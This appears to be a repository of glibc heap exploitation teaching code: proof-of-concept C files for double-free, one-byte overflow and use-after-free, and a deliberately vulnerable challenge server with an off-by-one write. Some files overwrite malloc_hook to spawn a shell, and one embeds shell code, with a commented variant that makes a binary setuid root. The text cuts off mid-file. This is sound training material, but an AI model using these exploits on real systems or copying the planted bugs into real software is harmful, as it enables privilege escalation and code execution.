├── FREE_UNVALIDATED └── double-free │ ├── bonus-printf │ ├── printf_double_free.c │ ├── printf_fastbins_malloc_hook.c │ ├── printf_top.c │ └── puts_double_free.c │ ├── fastbins_malloc_hook.c │ ├── topleaks-fastchunk.c │ ├── topleaks.c │ ├── uptothetop-fastchunk.c │ └── uptothetop_normalchunk.c ├── OVERFLOWS └── one-byte │ ├── 1byte_to_overlap.c │ ├── challenge-OOB.c │ └── null_byte_forget_to_overlap.c └── UAF ├── basic_uaf.c ├── basic_uaf_2.c └── challenge-uaf.c /FREE_UNVALIDATED/double-free/bonus-printf/printf_double_free.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 6 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 7 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 8 | 9 | void print_bytes(char *mempos, size_t size) 10 | { 11 | int i = 0; 12 | while(i < size) 13 | printf("%02x", *(mempos + i++)); 14 | printf("\n"); 15 | 16 | } 17 | 18 | int main() 19 | { 20 | char *A, *B, *C; 21 | A = malloc(0x410-8); 22 | free(A); 23 | printf("AAAA\n"); // It doesn't free the used memory. 24 | free(A); 25 | B = malloc(0x200-8); 26 | C = malloc(0x200-8); 27 | printf("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); 28 | free(C); // Boom! 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/bonus-printf/printf_fastbins_malloc_hook.c: -------------------------------------------------------------------------------- 1 | // This PoC runs a shellcode by overwritting the malloc_hook function pointer in main_arena 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void puts_heapless(char *str) 9 | { 10 | write(1, str, strlen(str)); 11 | write(1, "\n", 1); 12 | } 13 | 14 | int main() 15 | { 16 | char *sc = malloc(0x100-8); 17 | // 64 bit /bin/sh shellcode -- msfvenom -p linux/x64/exec CMD="/bin/sh" -f raw 18 | //memcpy(sc, "j;X\x99H\xbb/bin/sh\x00SH\x89\xe7h-c\x00\x00H\x89\xe6R\xe8:\x00\x00\x00sudo chown root:root suidbinary; sudo chmod +s suidbinary\x00VWH\x89\xe6\x0f\x05", 97); 19 | memcpy(sc, "j;X\x99H\xbb/bin/sh\x00SH\x89\xe7h-c\x00\x00H\x89\xe6R\xe8\x08\x00\x00\x00/bin/sh\x00VWH\x89\xe6\x0f\x05", 47); 20 | 21 | puts_heapless("[+] allocate p1, p2"); 22 | char *p1 = malloc(0x100); 23 | char *p2 = malloc(0x100); 24 | 25 | puts_heapless("\n[+] free p1, p2"); 26 | free(p1); 27 | free(p2); 28 | 29 | puts_heapless("\n[+] allocate p3"); 30 | char *p3 = malloc(0x100); 31 | 32 | puts_heapless("\n[+] p1 double free"); 33 | free(p1); 34 | 35 | puts_heapless("\n[+] leak main arena->top via p3"); 36 | void *arena_top = *(void **)p3; 37 | void *malloc_hook = arena_top - 0x68; 38 | 39 | puts_heapless("\n[+] allocate p4"); 40 | char *p4 = malloc(0x100); 41 | 42 | puts_heapless("\n[+] allocate p5 with size 0x60"); 43 | char *p5 = malloc(0x410-8); 44 | 45 | puts_heapless("\n[+] free p5"); 46 | free(p5); 47 | puts("This puts/printf will mess with p6 and p7"); 48 | puts_heapless("\n[+] Double free p5"); 49 | free(p5); // double free p5 50 | 51 | puts_heapless("\n[+] allocate p6 with size 0x60"); 52 | char *p6 = malloc(0x60); // Takes the old address of p5 53 | free(p6); 54 | 55 | long int *offset_byte_7f = (long int *)malloc_hook-0x20-3; 56 | offset_byte_7f = (void*)offset_byte_7f+0xf5; 57 | printf(&offset_byte_7f); 58 | // memcpy(p6, &offset_byte_7f, 0x8); 59 | 60 | memset(p4, 'A', 0x100); 61 | 62 | puts_heapless("\n[+] allocate p6, p7 with size 0x60"); 63 | char *p7 = malloc(0x60); 64 | char *p8 = malloc(0x60); 65 | 66 | puts_heapless("\n[+] overwrite *(p8+0x13) = malloc_hook"); 67 | memset(p8, 'A', 0x13); 68 | *(void **)(p8+0x13) = sc; 69 | 70 | puts_heapless("\n[+] allocate p9 - this triggers the malloc_hook"); 71 | char *p9 = malloc(0x100); 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/bonus-printf/printf_top.c: -------------------------------------------------------------------------------- 1 | // This PoC writes four C letters into main_arena->top 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 8 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 9 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 10 | 11 | void print_bytes(char *mempos, size_t size) 12 | { 13 | int i = 0; 14 | while(i < size) 15 | printf("%02x", *(mempos + i++)); 16 | printf("\n"); 17 | 18 | } 19 | 20 | int main() 21 | { 22 | char *A; 23 | A = malloc(0x410-8); // (1) 24 | free(A); 25 | printf("BBBB"); // (2) 26 | free(A); // Double free (3) 27 | printf("CCCC"); // (4) 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/bonus-printf/puts_double_free.c: -------------------------------------------------------------------------------- 1 | // printf PoC demonstration with "puts" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 8 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 9 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 10 | 11 | void print_bytes(char *mempos, size_t size) 12 | { 13 | int i = 0; 14 | while(i < size) 15 | printf("%02x", *(mempos + i++)); 16 | printf("\n"); 17 | 18 | } 19 | 20 | int main() 21 | { 22 | char *A, *B, *C; 23 | A = malloc(1040-8); 24 | memset(A, 'A', 1040-8); 25 | free(A); 26 | puts("AAAA\n"); // It doesn't free the used memory. 27 | free(A); 28 | B = malloc(0x200-8); 29 | printf("B: %p\n", B); 30 | memset(B, 'B', 0x200-8); 31 | C = malloc(0x200-8); 32 | printf("C: %p\n", C); 33 | memset(C, 'C', 0x200-8); 34 | puts("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); 35 | free(C); // Boom 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/fastbins_malloc_hook.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void jackpot() { puts("jackpot!"); system("/bin/sh"); } 6 | 7 | int main() 8 | { 9 | puts("[+] allocate p1, p2"); 10 | char *p1 = malloc(0x100); 11 | char *p2 = malloc(0x100); 12 | printf("p1 = %p\n", p1); 13 | printf("p2 = %p\n", p2); 14 | 15 | puts("\n[+] free p1, p2"); 16 | free(p1); 17 | free(p2); 18 | 19 | puts("\n[+] allocate p3"); 20 | char *p3 = malloc(0x100); 21 | printf("p3 = %p\n", p3); 22 | 23 | puts("\n[+] p1 double free"); 24 | free(p1); 25 | 26 | puts("\n[+] leak main arena->top via p3"); 27 | void *arena_top = *(void **)p3; 28 | void *malloc_hook = arena_top - 0x68; 29 | printf("arena_top = %p\n", arena_top); 30 | printf("malloc_hook = %p\n", malloc_hook); 31 | 32 | puts("\n[+] allocate p4"); 33 | char *p4 = malloc(0x100); 34 | printf("p4 = %p\n", p4); 35 | 36 | puts("\n[+] allocate p5 with size 0x60"); 37 | char *p5 = malloc(0x60); 38 | printf("p5 = %p\n", p5); 39 | 40 | puts("\n[+] free p5"); 41 | free(p5); 42 | 43 | puts("\n[+] allocate p6 with size 0x60"); 44 | char *p6 = malloc(0x60); // Takes the old address of p5 45 | 46 | puts("\n[+] Double free p5"); 47 | free(p5); // double free p5 48 | 49 | void *offset_byte_7f = (void *)malloc_hook-0x20-3; 50 | memcpy(p6, &offset_byte_7f, 0x8); 51 | 52 | 53 | memset(p4, 'A', 0x100); 54 | 55 | 56 | puts("\n[+] allocate p6, p7 with size 0x60"); 57 | char *p7 = malloc(0x60); 58 | char *p8 = malloc(0x60); 59 | printf("p7 = %p\n", p6); 60 | printf("p8 = %p\n", p7); 61 | 62 | puts("\n[+] overwrite *(p8+0x13) = malloc_hook"); 63 | memset(p8, 'A', 0x13); 64 | *(void **)(p8+0x13) = jackpot; 65 | 66 | puts("\n[+] allocate p9 - this triggers the malloc_hook"); 67 | char *p9 = malloc(0x100); 68 | printf("p9 = %p\n", p8); 69 | 70 | return 0; 71 | } 72 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/topleaks-fastchunk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 6 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 7 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 8 | 9 | void print_bytes(char *mempos, size_t size) 10 | { 11 | int i = 0; 12 | while(i < size) 13 | printf("%02x", *(mempos + i++)); 14 | printf("\n"); 15 | 16 | } 17 | 18 | int main() 19 | { 20 | char *A, *B, *C; 21 | printf("\n[+] malloc A(0x%x) \n", SIZEOFFASTCHUNK); 22 | A = malloc(SIZEOFFASTCHUNK); 23 | printf("A at %p\n", A); 24 | snprintf(A, SIZEOFFASTCHUNK, "This is A's contents. I would like to say something but" 25 | " there's not much space in 0x60 bytes..."); 26 | printf("A contains: [%s]\n", A); 27 | printf("[+] Contents of A in hex: "); 28 | print_bytes(A, SIZEOFFASTCHUNK); 29 | 30 | printf("\n[+] malloc C(0x%x) \n", SIZEOFFASTCHUNK); 31 | C = malloc(SIZEOFFASTCHUNK); 32 | printf("C at %p\n", C); 33 | printf("\n[+] free(C)\n"); 34 | free(C); 35 | 36 | printf("\n[+] free(A)\n"); 37 | free(A); 38 | 39 | printf("\n[+] malloc B(0x%x) \n", SIZEOFFASTCHUNK); 40 | B = malloc(SIZEOFFASTCHUNK); 41 | printf("B %p\n", B); 42 | 43 | snprintf(B, SIZEOFFASTCHUNK, "This is B's contents. I would like to say something but" 44 | " there's not much space in 0x60 bytes..."); 45 | 46 | printf("\n[+] Double free()'ing A\n"); 47 | free(A); 48 | 49 | printf("[*} Now pay attention to the contents of B\n"); 50 | 51 | printf("B is still valid in the code but under the hood\n\ 52 | it is free for the allocator... B contents [%s]\n", B); 53 | 54 | printf("[+] Contents of B in hex: "); 55 | print_bytes(B, SIZEOFFASTCHUNK); 56 | 57 | printf("[+] We leaked C-0x10 through A's FD and BK which" 58 | " can be accessed through B's variable\n"); 59 | printf("[+] A->FD = C-0x10 = %p\n", *(void **)&B[0]); 60 | 61 | 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/topleaks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 6 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 7 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 8 | 9 | void print_bytes(char *mempos, size_t size) 10 | { 11 | int i = 0; 12 | while(i < size) 13 | printf("%02x", *(mempos + i++)); 14 | printf("\n"); 15 | 16 | } 17 | 18 | int main() 19 | { 20 | char *A, *B, *C; 21 | printf("\n[+] malloc A(0x%x) \n", SIZEOFNORMALCHUNK); 22 | A = malloc(SIZEOFNORMALCHUNK); 23 | printf("A at %p\n", A); 24 | printf("[+] Setting A contents\n"); 25 | snprintf(A, SIZEOFNORMALCHUNK, "This is A's contents. I would like to say something but" 26 | " there's not much space in 0xf8 bytes..."); 27 | printf("A contains: [%s]\n", A); 28 | printf("Contents of A in hex: "); 29 | print_bytes(A, SIZEOFNORMALCHUNK); 30 | 31 | printf("\n[+] malloc C(0x%x) \n", SIZEOFNORMALCHUNK); 32 | C = malloc(SIZEOFNORMALCHUNK); 33 | printf("C at %p\n", C); 34 | 35 | printf("\n[+] free(A)\n"); 36 | free(A); 37 | 38 | //printf("\n[+] free(C)\n"); 39 | //free(C); 40 | 41 | printf("\n[+] malloc B(0x%x) \n", SIZEOFNORMALCHUNK); 42 | B = malloc(SIZEOFNORMALCHUNK); 43 | printf("B %p\n", B); 44 | printf("[+] Setting B contents\n"); 45 | snprintf(B, SIZEOFNORMALCHUNK, "This is B's contents. I would like to say something but" 46 | " there's not much space in 0xf8 bytes..."); 47 | 48 | printf("\n[+] Double free()'ing A\n"); 49 | free(A); 50 | 51 | printf("[*] Now pay attention to the contents of B\n"); 52 | 53 | printf("B is still valid in the code but under the hood\n\ 54 | it is free for the allocator... B contents [%s]\n", B); 55 | 56 | printf("Contents of B in hex: "); 57 | print_bytes(B, SIZEOFNORMALCHUNK); 58 | 59 | printf("We leaked main_arena->top through A's FD and BK which" 60 | " can be accessed through B's variable\n"); 61 | printf("A->FD = main_arena->top = %p\n", *(void **)&B[0]); 62 | 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/uptothetop-fastchunk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 7 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 8 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 9 | 10 | void print_bytes(char *mempos, size_t size) 11 | { 12 | int i = 0; 13 | while(i < size) 14 | printf("%02x", mempos[i++]); 15 | printf("\n"); 16 | 17 | } 18 | 19 | int main() 20 | { 21 | char *A, *B; 22 | printf("\n[+] malloc A(0x%x) \n", SIZEOFFASTCHUNK); 23 | A = malloc(SIZEOFFASTCHUNK); 24 | printf("A at %p\n", A); 25 | snprintf(A, SIZEOFFASTCHUNK, "This is A's contents. I would like " 26 | "to say something but there's not much space in 0x60 bytes..."); 27 | 28 | printf("A contains: [%s]\n", A); 29 | printf("[+] Contents of A in hex: \n"); 30 | print_bytes(A, SIZEOFFASTCHUNK); 31 | 32 | puts("\n[+] free(A)\n"); 33 | free(A); 34 | 35 | printf("\n[+] malloc B(0x%x) \n", SIZEOFFASTCHUNK); 36 | B = malloc(SIZEOFFASTCHUNK); 37 | printf("B %p\n", B); 38 | 39 | printf("\n[+] Double free()'ing A\n"); 40 | free(A); 41 | 42 | printf("B is still valid in the code but under the hood\n\ 43 | it is free for the allocator... B contents [%s]\n", B); 44 | 45 | printf("[+] Contents of B in hex: \n"); 46 | print_bytes(B, SIZEOFFASTCHUNK); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /FREE_UNVALIDATED/double-free/uptothetop_normalchunk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 7 | #define SIZEOFNORMALCHUNK 0x100-WORD_SIZE 8 | #define SIZEOFFASTCHUNK 0x60-WORD_SIZE 9 | 10 | void print_bytes(char *mempos, size_t size) 11 | { 12 | int i = 0; 13 | while(i < size) 14 | write(1, mempos+i++,1); 15 | write(1,"\n",1); 16 | 17 | } 18 | 19 | int main() 20 | { 21 | char *A, *B; 22 | printf("\n[+] malloc A(0x%x) \n", SIZEOFNORMALCHUNK); 23 | A = malloc(SIZEOFNORMALCHUNK); 24 | printf("A at %p\n", A); 25 | snprintf(A, SIZEOFNORMALCHUNK, "This is A's contents. I would like to say something but" 26 | " there's not much space in 0x60 bytes..."); 27 | 28 | printf("A contains: [%s]\n", A); 29 | printf("[+] Contents of A in hex: \n"); 30 | print_bytes(A, SIZEOFNORMALCHUNK); 31 | 32 | puts("\n[+] free(A)\n"); 33 | free(A); 34 | 35 | printf("\n[+] malloc B(0x%x) \n", SIZEOFNORMALCHUNK); 36 | B = malloc(SIZEOFNORMALCHUNK); 37 | printf("B %p\n", B); 38 | 39 | printf("\n[+] Double free()'ing A\n"); 40 | free(A); 41 | 42 | printf("B is still valid in the code but under the hood\n\ 43 | it is free for the allocator... B contents [%s]\n", B); 44 | 45 | printf("[+] Contents of B in hex: \n"); 46 | print_bytes(B, SIZEOFNORMALCHUNK); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /OVERFLOWS/one-byte/1byte_to_overlap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 6 | 7 | int get_chunk_size(void *chunk){ 8 | return (*(int*)(chunk - WORD_SIZE) & ~0x03) - WORD_SIZE; // ~0x03 gets rid of the last |M|A|P| bits used in the size header 9 | } 10 | 11 | void main() { 12 | char * A, * B, * C; 13 | 14 | A = malloc(0x100 - WORD_SIZE); // This is where the overflow happens 15 | B = malloc(0x100 - WORD_SIZE); // Free chunk being extended 16 | C = malloc(0x80 - WORD_SIZE); // Chunk being overlapped 17 | fprintf(stderr, "[+] Allocated A, B, C)\n"); 18 | fprintf(stderr, "[+] A(%d) chunk: %p -> %p\n", get_chunk_size(A), A, A + get_chunk_size(A)); 19 | fprintf(stderr, "[+] B(%d) chunk: %p -> %p\n", get_chunk_size(B), B, B + get_chunk_size(B)); 20 | fprintf(stderr, "[+] C(%d) chunk: %p -> %p\n", get_chunk_size(C), C, C + get_chunk_size(C)); 21 | 22 | memset(A, 'A', get_chunk_size(A)); 23 | memset(B, 'B', get_chunk_size(B)); 24 | memset(C, 'C', get_chunk_size(C)); 25 | 26 | A[get_chunk_size(A)-1] = '\0'; 27 | B[get_chunk_size(B)-1] = '\0'; 28 | C[get_chunk_size(C)-1] = '\0'; 29 | // C[0x80-8-1] = '\0'; 30 | fprintf(stderr, "*A = %s\n", A); 31 | fprintf(stderr, "*B = %s\n", B); 32 | fprintf(stderr, "*C = %s\n", C); 33 | free(B); // Freeing B 34 | 35 | fprintf(stderr, "\n[+] &A[%d] points to %p. Overflown into B's size header least significant byte at %p \n", 36 | get_chunk_size(A), 37 | &A[get_chunk_size(A)], 38 | (int*)(B-WORD_SIZE)); 39 | fprintf(stderr, "\n[+] Triggering an out-of-bounds one byte write (off-by-one) to A[%d]\n", get_chunk_size(A)); 40 | /* A overflows into B 41 | * B's size becomes 0x191 instead of 0x101 42 | */ 43 | A[get_chunk_size(A)] = 0x91; 44 | // The following passes some checks about size vs prev_size 45 | B[0x180] = 0x90; 46 | B[0x181] = 0x1; // Effectively: 0x190 47 | 48 | B = malloc(0x100 + get_chunk_size(C)); // Allocation of old B size + C size 49 | // memset(B, 'B', WORD_SIZE*2); // Restore first bytes of B to 'B's to prevent main_arena leak 50 | fprintf(stderr, "[+] B(%d) chunk: %p -> (%p) BOO...\n", get_chunk_size(B), B, B + get_chunk_size(B)); 51 | fprintf(stderr, "[+] C(%d) chunk: %p -> (%p) ...OOM\n", get_chunk_size(C), C, C + get_chunk_size(C)); 52 | B[get_chunk_size(B)-1] = '\0'; 53 | 54 | // Write a X at the end of B, effectively writing to the overlapped C chunk 55 | fprintf(stderr, "[+] Writing a 'X' at *(B+0x180-SIZE_HEADER) which will be written to the end of *C as well\n"); 56 | //-1 to not overflow; another -1 to write at the end before the null byte \0 57 | B[0x100+0x80-WORD_SIZE-1-1] = 'X'; //This is a valid address inside B and it is also the end of chunk C 58 | 59 | fprintf(stderr, "*B = %s <-- address of 'main_arena->top' leaked!\n", B); 60 | fprintf(stderr, "*C = %s\n", C); 61 | // fprintf(stderr, "size_C: %p\n", size_C); 62 | // We can now tamper with Chunk C: 63 | // Call free(C) on it and then leak heap or main_arena addresses by reading B's contents 64 | } 65 | -------------------------------------------------------------------------------- /OVERFLOWS/one-byte/challenge-OOB.c: -------------------------------------------------------------------------------- 1 | // Javier .. at .. SensePost 2017 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MY_PORT 9999 10 | #define MAXBUF 1024 11 | #define MAXCHUNKS 32 12 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 13 | #define SIZEOFMALLOCS 0x100-WORD_SIZE 14 | 15 | int get_chunk_size(void *chunk){ 16 | return (*(int*)(chunk - WORD_SIZE) & ~0x03) - WORD_SIZE; // ~0x03 gets rid of the last |M|A|P| bits used in the size header 17 | } 18 | 19 | int main(int argc, char *argv[]) 20 | { 21 | errno = 0; 22 | char *p; 23 | 24 | int option = 1; 25 | struct sockaddr_in self; 26 | char buffer[MAXBUF]; 27 | 28 | const char *hellomessage = "***** Welcome to the Heap challenge 2 - OOB Write *****\n\0"; 29 | const char *optionsmessage_Balloc = "\n[1] Set contents of A \n" 30 | "[2] Print contents of B\n" 31 | "[3] Set contents of B\n" 32 | "[4] Free chunk B\n" 33 | "[5] Exit and reinitialize everything\n\0"; 34 | const char *optionsmessage_Bfree = "\n[1] Set contents of A \n" 35 | "[2] Print contents of B\n" 36 | "[3] Set contents of B\n" 37 | "[4] Alloc chunk B\n" 38 | "[5] Exit and reinitialize everything\n\0"; 39 | const char *allocmessage = "[+] Allocation done\n\0"; 40 | const char *freemessage = "[+] Free'd chunk\n\0"; 41 | const char *reqinputmessage = "[+] Enter your payload: \0"; 42 | const char *memcpymessage = "[+] Contents copied into chunk: \0"; 43 | const char *uafmessage = "[-] 'Tis no UAF challenge bruv ...\n\0"; 44 | const char *agggmessage = "[-] There was a memory corruption in the chunk at AAARRRGH - https://youtu.be/ZlIz0q8aWpA\n"; 45 | const char *byemessage = "\n[+] Bye bye!\n\0"; 46 | 47 | // 4evr... 48 | while (1) 49 | { 50 | int i, bytesrecvd; 51 | int isBfree = 0; 52 | struct sockaddr_in client_addr; 53 | int addrlen=sizeof(client_addr); 54 | char *chunkA, *chunkB, *chunkC; 55 | chunkA = malloc(SIZEOFMALLOCS); 56 | chunkB = malloc(SIZEOFMALLOCS); 57 | chunkC = malloc(0x80-8); // So we can overwrite it with 0x80 58 | char *fllllag = "\n\nSP{OHHHBOI_I_FORGOT_TO_REMOVE_THE_FLAG...notreally}\n\0"; 59 | strcpy(chunkC, "\nYOU_NEED_TO_DIG_MORE\n\0"); 60 | strcpy(chunkC+0x80-strlen(fllllag)-1, fllllag); 61 | 62 | write(1, hellomessage, strlen(hellomessage)); 63 | 64 | int loopout = 0; 65 | while (!loopout) 66 | { 67 | if (!isBfree) 68 | { 69 | if (write(1, optionsmessage_Balloc, strlen(optionsmessage_Balloc)) < 0) break; 70 | } 71 | else 72 | { 73 | if (write(1, optionsmessage_Bfree, strlen(optionsmessage_Bfree)) < 0) break; 74 | } 75 | if (read(0, buffer, MAXBUF)) 76 | { 77 | // Receive here 78 | /* 79 | const char *optionsmessage_Balloc = "\n[1] Set contents of A \n" 80 | "[2] Print contents of B\n" 81 | "[3] Set contents of B\n" 82 | "[4] Free chunk B\n" 83 | "[5] Exit and reinitialize everything\n\0"; 84 | */ 85 | switch (buffer[0]) 86 | { 87 | case '1': 88 | write(1, reqinputmessage, strlen(reqinputmessage)); 89 | bytesrecvd = read(0, buffer, MAXBUF); 90 | bytesrecvd = bytesrecvd < SIZEOFMALLOCS ? bytesrecvd : SIZEOFMALLOCS; 91 | for (i = 0; i <= bytesrecvd; i++) // ??? 92 | chunkA[i] = buffer[i]; 93 | 94 | write(1, memcpymessage, strlen(memcpymessage)); 95 | write(1, chunkA, get_chunk_size(chunkA)); 96 | break; 97 | case '2': 98 | if (!isBfree) 99 | write(1, chunkB, get_chunk_size(chunkB)-1); 100 | else 101 | write(1, uafmessage, strlen(uafmessage)); 102 | break; 103 | case '3': 104 | if (!isBfree) 105 | { 106 | write(1, reqinputmessage, strlen(reqinputmessage)); 107 | int bytesrecvd = read(0, buffer, SIZEOFMALLOCS); 108 | bytesrecvd = bytesrecvd < SIZEOFMALLOCS ? bytesrecvd : SIZEOFMALLOCS; 109 | for (i = 0; i < bytesrecvd; i++) // ??? 110 | chunkB[i] = buffer[i]; 111 | 112 | write(1, memcpymessage, strlen(memcpymessage)); 113 | write(1, chunkB, get_chunk_size(chunkB)); 114 | } 115 | break; 116 | case '4': 117 | if (isBfree) 118 | { 119 | chunkB = malloc(get_chunk_size(chunkB)-0x10); 120 | isBfree = 0; 121 | } 122 | else 123 | { 124 | if (*(long*)(chunkB - WORD_SIZE) != 0x101) 125 | write(1, agggmessage, strlen(agggmessage)); 126 | isBfree = 1; 127 | free(chunkB); 128 | } 129 | break; 130 | case '5': 131 | loopout = 1; 132 | write(1, byemessage, strlen(byemessage)); 133 | exit(0); 134 | break; 135 | } 136 | } else break; 137 | } 138 | } 139 | 140 | return 0; 141 | } 142 | -------------------------------------------------------------------------------- /OVERFLOWS/one-byte/null_byte_forget_to_overlap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define WORD_SIZE ((size_t)-1 > 0xffffffffUL ? 8 : 4) 6 | 7 | int get_chunk_size(void *chunk){ 8 | return (*(int*)(chunk - WORD_SIZE) & ~0x03) - WORD_SIZE; // ~0x03 gets rid of the last |M|A|P| bits used in the size header 9 | } 10 | 11 | int get_chunk_prev_size(void *chunk){ 12 | return (*(int*)(chunk - WORD_SIZE*2) & ~0x03) - WORD_SIZE; 13 | } 14 | 15 | 16 | int main(){ 17 | char *A, *B, *C, *X; 18 | void *top; 19 | printf("[+] Allocating A, B, C\n"); 20 | A = malloc(0x100-WORD_SIZE); 21 | B = malloc(0x250-WORD_SIZE); 22 | C = malloc(0x100-WORD_SIZE); 23 | printf("[+] Heap is now:\n| A | B | C |\n"); 24 | printf("A is at %p\nB is at %p\nC is at %p\n\n", A, B, C); 25 | printf("[+] Size of B is %d\n\n", get_chunk_size(B)); 26 | // OOB null byte write 27 | printf("[+] Single null-byte overflow happening from A into free()'d B space\n"); 28 | free(B); 29 | A[0x100-WORD_SIZE] = '\0'; // One byte null byte overflow into B 30 | printf("[+] Because of a single null byte overwrite the size of B is changed but not the PREV_SIZE of C\n"); 31 | printf("[+]\t Size of B is now %d and PREV_SIZE of C is %d <-- OOPSx1\n", get_chunk_size(B), get_chunk_prev_size(C)); 32 | // Since B's size shrunk, malloc() will get B's bogus size to allocate in between A and C 33 | printf("[+] Allocating B and X\n"); 34 | B = malloc(0x100-WORD_SIZE); 35 | X = malloc(0x100-WORD_SIZE); 36 | printf("[+] Heap is now:\n| A | B | X | C |\n"); 37 | printf("A is at %p\nB is at %p\nX is at %p\nC is at %p\n", A, B, X, C); 38 | // When using free(), B will be free()'d as usual but because of PREV_SIZE of C being old B's size 39 | // the implementation still thinks that B and C are coalescing and so, because of B being free, 40 | // it will go ahead and merge B and C into a free chunk, effectively overlapping X which was between 41 | // B and C and marking it as free space which is not the case. Any further uses of D are dangerous 42 | // in a real world scenario (use-after-invalidation type of vulnerabilities) 43 | printf("\n[+] free()'ing B and C which will cause them to be merged into a big chunk at B (%p)\n", B); 44 | free(B); 45 | free(C); 46 | printf("[+] X at %p was forgotten by the implementation! OOPSx2\n", X); 47 | 48 | printf("[+] Allocating B with the size of B(0x250) + C(0x100)\n"); 49 | B = malloc(0x250-WORD_SIZE+0x100-WORD_SIZE); // BOOM! 50 | printf("A is at %p ends at %p\nB is at %p ends at %p\nX is at %p ends at %p\n", 51 | A, A+get_chunk_size(A), 52 | B, B+get_chunk_size(B), 53 | X, X+get_chunk_size(X) 54 | ); 55 | 56 | printf("\n[+] Setting B contents to 'B's and printing contents of forgotten X which is overlapped by B\n"); 57 | memset(B, 'B', 0x250-WORD_SIZE+0x100-WORD_SIZE); 58 | B[0x250+0x100-WORD_SIZE*2-1] = 0; // Null-byte end 59 | printf("B contents = %s\n", B); 60 | printf("X contents = %s\n", X); 61 | 62 | return 0; 63 | } 64 | 65 | 66 | -------------------------------------------------------------------------------- /UAF/basic_uaf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct UAFME { 5 | void (*vulnfunc)(); 6 